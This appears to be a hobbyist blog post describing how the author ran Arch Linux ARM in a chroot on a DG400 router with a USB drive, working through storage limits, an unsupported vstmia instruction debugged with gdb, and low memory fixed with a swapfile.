I used the lovely Arch Linux ARM community project as the basis for this. The plan of action: Grab a tarball of a compiled system for my architecture (ARMv7), extract it on the router and use chroot to effectively "run" it as if it was the root filesystem. Seems simple enough.

Issue 1: Space

These sort of devices are usually built with very limited storage to keep production costs down. The firmware just about fits on the onboard flash with some extra space for temporary files. It's not meant to be used as your conventional system.

df -h reported my root filesystem to only have 304 Kb of available space, and my tmp filesystem to have 100 Mb. Considering that the Arch tarball itself is already over 500 Mb, the device doesn't have nearly enough space to fit another OS on it.

The solution for this is quite simple: Use a USB drive. Indeed, my DG400 router has a USB2.0 and 3.0 port presumably for sticking pen drives into them. Evidently, seeing as any drives inserted are automatically mounted in /mnt (I'm unsure whether this is done by OpenWRT by default or if it's an IOPSYS feature).

It's settled then. I used my PC to format a pen drive as ext4 (FAT won't work for this very well), downloaded the ARMv7 tarball and extracted it onto the pen drive:

# umount /dev/sdc1 # (replace with your USB drive)
# mkfs.ext4 /dev/sdc1
# mount /dev/sdc1 /mnt
# mkdir /mnt/archfs
# wget http://os.archlinuxarm.org/os/ArchLinuxARM-armv7-latest.tar.gz
# bsdtar -xpf ArchLinuxARM-armv7-latest.tar.gz -C /mnt/archfs

Done. After plugging the USB drive into the router, it got automatically mounted at /mnt/usb0 (might differ). However, it got mounted with the noexec flag, which will prevent executables being run. It's easy enough to remount it. On the router:

# mount /mnt/usb0 -o exec,remount

Great! It's time to test if we can now actually chroot into it:

# chroot /mnt/usb0/archfs /bin/bash
Illegal instruction (core dumped)

Uh oh. Looks like something is still wrong. Which brings us to…

Issue 2: Not all ARM is created equal

Looks like we're running into some instructions while running bash that our processor doesn't support. Let's see if we're still ARMv7 and I hadn't messed up:

# cat /proc/cpuinfo 
processor       : 0
model name      : ARMv7 Processor rev 1 (v7l)
BogoMIPS        : 1325.05
Features        : half thumb fastmult edsp tls 
CPU implementer : 0x41
CPU architecture: 7
CPU variant     : 0x4
CPU part        : 0xc09
CPU revision    : 1

Strange. We're using the ARMv7 tarball, it should all be groovy. My custom firmware is compiled with GDB, which I could use to see exactly which instruction it's failing on. Since there's no way of running GDB + any of my Arch binaries natively without library mismatches, I opted to simply grab the core dump and use that instead. I looked into /proc/sys/kernel/core_pattern to identify the script responsible for handling coredumps and modified it to dump it to the root of my USB stick instead. I could then use GDB to look through the backtrace:

# gdb /mnt/usb0/archfs/bin/grep /mnt/usb0/coredump -q
Reading symbols from archfs/bin/grep...(no debugging symbols found)...done.
[New LWP 14713]

warning: Could not load shared library symbols for /lib/ld-linux-armhf.so.3.
Do you need "set solib-search-path" or "set sysroot"?
Core was generated by `/bin/grep'.
Program terminated with signal SIGILL, Illegal instruction.
#0  0xb6fe5ba4 in ?? ()

I needed to set the proper sysroot as well, to fetch proper library symbols:

(gdb) set sysroot /mnt/usb0/archfs/
Reading symbols from /mnt/usb0/archfs/lib/ld-linux-armhf.so.3...(no debugging symbols found)...done.
(gdb) disas 0xb6fe5ba4
Dump of assembler code for function __sigsetjmp:
   0xb6fe5b70 <+0>:	movw	r12, #28028	; 0x6d7c
   0xb6fe5b74 <+4>:	movt	r12, #1
   0xb6fe5b78 <+8>:	ldr	r2, [pc, r12]
   0xb6fe5b7c <+12>:	mov	r12, r0
   0xb6fe5b80 <+16>:	mov	r3, sp
   0xb6fe5b84 <+20>:	eor	r3, r3, r2
   0xb6fe5b88 <+24>:	str	r3, [r12], #4
   0xb6fe5b8c <+28>:	eor	r3, lr, r2
   0xb6fe5b90 <+32>:	str	r3, [r12], #4
   0xb6fe5b94 <+36>:	stmia	r12!, {r4, r5, r6, r7, r8, r9, r10, r11}
   0xb6fe5b98 <+40>:	movw	r3, #28064	; 0x6da0
   0xb6fe5b9c <+44>:	movt	r3, #1
   0xb6fe5ba0 <+48>:	ldr	r2, [pc, r3]
=> 0xb6fe5ba4 <+52>:	vstmia	r12!, {d8-d15}
   0xb6fe5ba8 <+56>:	tst	r2, #512	; 0x200
   0xb6fe5bac <+60>:	beq	0xb6fe5bc8 <__sigsetjmp+88>
   0xb6fe5bb0 <+64>:	stfp	f2, [r12], #8
   0xb6fe5bb4 <+68>:	stfp	f3, [r12], #8
   0xb6fe5bb8 <+72>:	stfp	f4, [r12], #8
   0xb6fe5bbc <+76>:	stfp	f5, [r12], #8
   0xb6fe5bc0 <+80>:	stfp	f6, [r12], #8
   0xb6fe5bc4 <+84>:	stfp	f7, [r12], #8
   0xb6fe5bc8 <+88>:	b	0xb6fe39d8 <__sigjmp_save>
End of assembler dump.

Looks like our processor didn't like the vstmia instruction. Can't imagine why - it seems to be a valid ARMv7 instruction.

After reading through some reference manuals and consulting others online, it turned out that my SoC processor is crippled: A set of instructions simply wasn't supported by my processor. Luckily, thanks to those instructions not existing in ARMv5 and ARM being backwards-compatible, I could simply use the ARMv5-compiled system instead.

Repeating the steps to create the root filesystem, this time using the ArchLinuxARM-armv5-latest.tar.gz tarball instead, showed promising results. I could finally:

# chroot /mnt/usb0/archfs /bin/bash
[root@iopsys /]# cat /etc/os-release
NAME="Arch Linux ARM"
PRETTY_NAME="Arch Linux ARM"
ID=archarm

I exited the chroot after seeing it works. We still needed to mount some partitions so the chroot could see and interact with them and copy some files over. I wrote a helper script for all of that which you can find here.

Great, we can now initialise pacman and try upgrading the system.

# pacman-key --init
# pacman-key --populate archlinuxarm
# pacman -Syu

error: out of memory

Issue 3: Memory problems

Honestly, should've seen this one coming. free -m showed that I was working with around 100 Mb of usable memory, which is not much - no wonder pacman crapped out. Luckily, my device kernel was compiled with swap support. This essentially allows the system to "swap" memory contents out to the filesystem and load them later when necessary. It's very slow compared to real memory, but it gets the job done in a pinch. I created a 1G swapfile on my USB drive and activated it, whilst inside the chroot:

# truncate -s 0   /swapfile
# chattr +C       /swapfile
# fallocate -l 1G /swapfile
# chmod 600       /swapfile
# mkswap          /swapfile
# swapon          /swapfile

Running pacman again allowed me to continue upgrading the system, which it finished successfully.

At this point, I had a fully functional Arch Linux system which I could chroot into and utilise pretty much to the maximum. I've successfully set up Python bots, compiled software with gcc/g++, etc. what you'd expect to see from a normal system. I don't know why you would want to do this, but it's definitely possible.

I realise that it may not go this smoothly on other systems. For example, a large portion of routers utilise the MIPS architecture instead of ARM. If this is the case for you, it unfortunately means that Arch Linux is off the table, as it doesn't have any functioning MIPS builds. However, the Debian community maintains an active MIPS port of Debian which you might want to look into instead. Everything in this post should still pretty much apply to Debian/MIPS as well, with some minor differences.

This has also been done on other unconventional devices. Reddit user parkerlreed used a similar procedure to run Arch Linux on a Steamlink, which you can read here - it even has instructions on how to compile applications natively on it.